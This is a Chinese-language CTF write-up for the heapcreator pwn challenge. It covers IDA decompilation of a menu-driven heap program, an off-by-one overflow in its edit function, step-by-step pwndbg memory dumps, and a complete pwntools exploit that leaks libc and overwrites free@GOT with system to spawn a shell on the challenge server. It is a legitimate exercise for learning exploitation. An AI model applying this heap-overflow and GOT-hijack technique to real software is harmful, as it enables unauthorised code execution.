1. 程式人生 > 其它 >[BUUCTF]刷題記錄:hitcontraining_heapcreator

[BUUCTF]刷題記錄:hitcontraining_heapcreator

hitcontraining_heapcreator

1.checksec:

2.執行一下:

有四個功能,

3.ida分析:

1.mian函式:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);                    // 初始化
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  while ( 1 )
  {
    menu();
    read(0, buf, 4uLL);
    switch ( atoi(buf) )
    {
      case 1:
        create_heap();
        break;
      case 2:
        edit_heap();
        break;
      case 3:
        show_heap();
        break;
      case 4:
        delete_heap();
        break;
      case 5:
        exit(0);
      default:
        puts("Invalid Choice");
        break;
    }
  }
}

2.menu(選單):

int menu()
{
  puts("--------------------------------");
  puts("          Heap Creator          ");
  puts("--------------------------------");
  puts(" 1. Create a Heap               ");
  puts(" 2. Edit a Heap                 ");
  puts(" 3. Show a Heap                 ");
  puts(" 4. Delete a Heap               ");
  puts(" 5. Exit                        ");
  puts("--------------------------------");
  return printf("Your choice :");
}

3.create_heap函式:

建立堆塊

unsigned __int64 create_heap()
{
  __int64 v0; // rbx
  int i; // [rsp+4h] [rbp-2Ch]
  size_t size; // [rsp+8h] [rbp-28h]
  char buf[8]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !*(&heaparray + i) )                   // 如果heaparray[i]沒有指向堆塊就申請一個0x20的chunk,讓heaparray[i]指向這個chunk
    {
      *(&heaparray + i) = malloc(0x10uLL);
      if ( !*(&heaparray + i) )
      {
        puts("Allocate Error");
        exit(1);
      }
      printf("Size of Heap : ");
      read(0, buf, 8uLL);                       // 輸入堆塊的size,heaparray[i][1],也就是上面malloc的0x10的第2個字長處,讓它指向一個新申請的大小為size的chunk
      size = atoi(buf);
      v0 = *(&heaparray + i);
      *(v0 + 8) = malloc(size);
      if ( !*(*(&heaparray + i) + 1) )
      {
        puts("Allocate Error");
        exit(2);
      }
      **(&heaparray + i) = size;                // heaparray[i][1],也就是0x10的第1個字長儲存第2個申請的chunk的size.
      printf("Content of heap:");
      read_input(*(*(&heaparray + i) + 1), size);// 往第2個堆塊裡輸入資料
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v5;
    }
  }
  return __readfsqword(0x28u) ^ v5;
}

4.edit_heap函式:

編輯堆塊,存在off by one漏洞

unsigned __int64 edit_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);                           // 根據index給chunk編輯
  v1 = atoi(buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&heaparray + v1) )
  {
    printf("Content of heap : ");
    read_input(*(*(&heaparray + v1) + 1), **(&heaparray + v1) + 1LL);// 這裡**(&heaparray + v1) + 1LL表面可以輸入chunk的size+1的資料,純在off by one漏洞。
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

5.show_heap函式:

輸出堆塊的資料和size

unsigned __int64 show_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");                            // 根據index來show
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&heaparray + v1) )
  {
    printf("Size : %ld\nContent : %s\n", **(&heaparray + v1), *(*(&heaparray + v1) + 1));// 輸出堆塊的size和content
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

6.delete_heap函式:

將堆塊free掉,並置零。

unsigned __int64 delete_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");                            // 根據index來free堆塊
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&heaparray + v1) )
  {
    free(*(*(&heaparray + v1) + 1));            // 這裡會把一次申請的兩個chunk都free掉
    free(*(&heaparray + v1));
    *(&heaparray + v1) = 0LL;                   // free掉後回清0,沒有uaf
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

4.利用思路:

1.第一步:

首先分別add 4個分別為0x18,0x10,0x10,0x10的堆塊,這樣就有1個0x18,7個0x10的堆塊了,其中chunk3中寫入的'/bin/sh\x00'後面要利用到,chunk0申請為0x18的原因是,這樣申請,chunk0申請了一個0x18的堆塊,但拿到了一個size=0x20的堆塊,寫入資料時只往本堆塊寫入0x10,下個chunk的prev_size域來補足這0x8,這樣就可以溢位到下一個chunk的prev_size,然後再溢位1位元組,利用off by one修改下一個chunk的size,觸發chunk overlap。

add(0x18,'hhhh')#chunk0
add(0x10,'aaaa')#chunk1
add(0x10,'pppp')#chunk2
add(0x10,b'/bin/sh\x00')#chunk3
pwndbg> x/36gx 0x240f000 
0x240f000:	0x0000000000000000	0x0000000000000021 #chunk00
0x240f010:	0x0000000000000018	0x000000000240f030 #chunk0的size和content存放地址
0x240f020:	0x0000000000000000	0x0000000000000021 #chunk0
0x240f030:	0x0000000068686868	0x0000000000000000 #hhhh
0x240f040:	0x0000000000000000	0x0000000000000021 #chunk11
0x240f050:	0x0000000000000010	0x000000000240f070 #chunk1的size和content存放地址
0x240f060:	0x0000000000000000	0x0000000000000021 #chunk1
0x240f070:	0x0000000061616161	0x0000000000000000 #aaaa
0x240f080:	0x0000000000000000	0x0000000000000021 #chunk22
0x240f090:	0x0000000000000010	0x000000000240f0b0 #chunk2的size和content存放地址
0x240f0a0:	0x0000000000000000	0x0000000000000021 #chunk2
0x240f0b0:	0x0000000070707070	0x0000000000000000 #pppp
0x240f0c0:	0x0000000000000000	0x0000000000000021 #chunk3
0x240f0d0:	0x0000000000000010	0x000000000240f0f0 #chunk3的size和content存放地址
0x240f0e0:	0x0000000000000000	0x0000000000000021 #chunk3
0x240f0f0:	0x0068732f6e69622f	0x0000000000000000 #/bin/sh\x00
0x240f100:	0x0000000000000000	0x0000000000020f01
0x240f110:	0x0000000000000000	0x0000000000000000

2.第二步:

利用 off by one 修改chunk11的的size,並把chunk11 free掉

payload1=b'a'*0x18+p8(0x81)
edit(0,payload1)
delete(1)

成功修改chunk11的size,並free掉,觸發chunk overlap。得到fake_chunk

pwndbg> x/36gx 0x1a6e000
0x1a6e000:	0x0000000000000000	0x0000000000000021
0x1a6e010:	0x0000000000000018	0x0000000001a6e030
0x1a6e020:	0x0000000000000000	0x0000000000000021
0x1a6e030:	0x6161616161616161	0x6161616161616161
0x1a6e040:	0x6161616161616161	0x0000000000000081 #chunk11的size修改成功
0x1a6e050:	0x0000000000000000	0x0000000001a6e070
0x1a6e060:	0x0000000000000000	0x0000000000000021
0x1a6e070:	0x0000000000000000	0x0000000000000000
0x1a6e080:	0x0000000000000000	0x0000000000000021
0x1a6e090:	0x0000000000000010	0x0000000001a6e0b0
0x1a6e0a0:	0x0000000000000000	0x0000000000000021
0x1a6e0b0:	0x0000000070707070	0x0000000000000000
0x1a6e0c0:	0x0000000000000000	0x0000000000000021
0x1a6e0d0:	0x0000000000000010	0x0000000001a6e0f0
0x1a6e0e0:	0x0000000000000000	0x0000000000000021
0x1a6e0f0:	0x0068732f6e69622f	0x0000000000000000
0x1a6e100:	0x0000000000000000	0x0000000000020f01
0x1a6e110:	0x0000000000000000	0x0000000000000000					

3.第三步:

重新申請fake_chunk,並堆溢位修改chunk22中存放的chunk2地址為free_got地址

size=0x8
payload2=b'a'*0x40+p64(size)+p64(elf.got["free"])
add(0x70,payload2)
pwndbg> x/36gx 0x1dc7000
0x1dc7000:	0x0000000000000000	0x0000000000000021
0x1dc7010:	0x0000000000000018	0x0000000001dc7030
0x1dc7020:	0x0000000000000000	0x0000000000000021
0x1dc7030:	0x6161616161616161	0x6161616161616161
0x1dc7040:	0x6161616161616161	0x0000000000000081
0x1dc7050:	0x6161616161616161	0x6161616161616161
0x1dc7060:	0x6161616161616161	0x6161616161616161
0x1dc7070:	0x6161616161616161	0x6161616161616161
0x1dc7080:	0x6161616161616161	0x6161616161616161
0x1dc7090:	0x0000000000000008	0x0000000000602018 #成功修改為free_got地址
0x1dc70a0:	0x0000000000000000	0x0000000000000021
0x1dc70b0:	0x0000000070707070	0x0000000000000000
0x1dc70c0:	0x0000000000000000	0x0000000000000021
0x1dc70d0:	0x0000000000000010	0x0000000001dc70f0
0x1dc70e0:	0x0000000000000000	0x0000000000000021
0x1dc70f0:	0x0068732f6e69622f	0x0000000000000000
0x1dc7100:	0x0000000000000000	0x0000000000020f01
0x1dc7110:	0x0000000000000000	0x0000000000000000

4.第四步:

通過show(2),輸出chunk22裡指向的free_got裡的free函式地址,用這個地址洩漏libc,並計算得到system的地址

show(2)
io.recvuntil("Content : ")
free_addr=u64(io.recvuntil("Done")[:-5].ljust(8,b'\x00'))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system=libc_base+libc.dump("system")

成功洩漏libc地址。

5.第五步:

修改free_got為system的地址,free chunk3,利用之前寫好的"/bin/sh\x00",執行free("/bin/sh\x00"),由於free_got被修改為system的地址,

所以這裡執行sysytem("/bin/sh\x00"),拿到shell.

payload3=p64(system)
edit(2,payload3)
delete(3)
pwndbg> x/20gx 0x602018
0x602018:	0x00007f10ea68c3a0	0x00000000004006a6 #修改為system的地址
0x602028:	0x00007f10ea6b66a0	0x00000000004006c6
0x602038:	0x00007f10ea69c810	0x00007f10ea73e350
0x602048:	0x00007f10ea667750	0x00007f10ea6cb180
0x602058:	0x00007f10ea6b6e80	0x00007f10ea67de90
0x602068:	0x0000000000400736	0x0000000000000000
0x602078:	0x0000000000000000	0x00007f10eaa0c620
0x602088:	0x0000000000000000	0x00007f10eaa0b8e0

拿到shell

6.exp:

![cc11a (7)](E:\CTFALL\PWNWP\hitcontraining_heapcreator\hitcontraining_heapcreator.assets\cc11a (7).png)from pwn import *
from LibcSearcher import *
context.log_level="debug"
#io=process("heapcreator")
io=remote("node4.buuoj.cn",26449)
elf=ELF("heapcreator")
def add(size,content):
    io.recvuntil("Your choice :")
    io.sendline("1")
    io.recvuntil("Size of Heap : ")
    io.sendline(str(size))
    io.recvuntil("Content of heap:")
    io.send(content)

def edit(index,content):
    io.recvuntil("Your choice :")
    io.sendline("2")
    io.recvuntil("Index :")
    io.sendline(str(index))
    io.recvuntil("Content of heap : ")
    io.send(content)

def show(index):
    io.recvuntil("Your choice :")
    io.sendline("3")
    io.recvuntil("Index :")
    io.sendline(str(index))

def delete(index):
    io.recvuntil("Your choice :")
    io.sendline("4")
    io.recvuntil("Index :")
    io.sendline(str(index))

add(0x18,'hhhh')
add(0x10,'aaaa')
add(0x10,'pppp')
add(0x10,b'/bin/sh\x00')

payload1=b'a'*0x18+p8(0x81)
edit(0,payload1)
delete(1)

size=0x8
payload2=b'a'*0x40+p64(size)+p64(elf.got["free"])
add(0x70,payload2)

show(2)
io.recvuntil("Content : ")
free_addr=u64(io.recvuntil("Done")[:-5].ljust(8,b'\x00'))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system=libc_base+libc.dump("system")
print("libc_base:",end='')
print(hex(libc_base))

payload3=p64(system)
edit(2,payload3)
delete(3)
#gdb.attach(io)
#pause()

io.interactive()

7.拿到flag: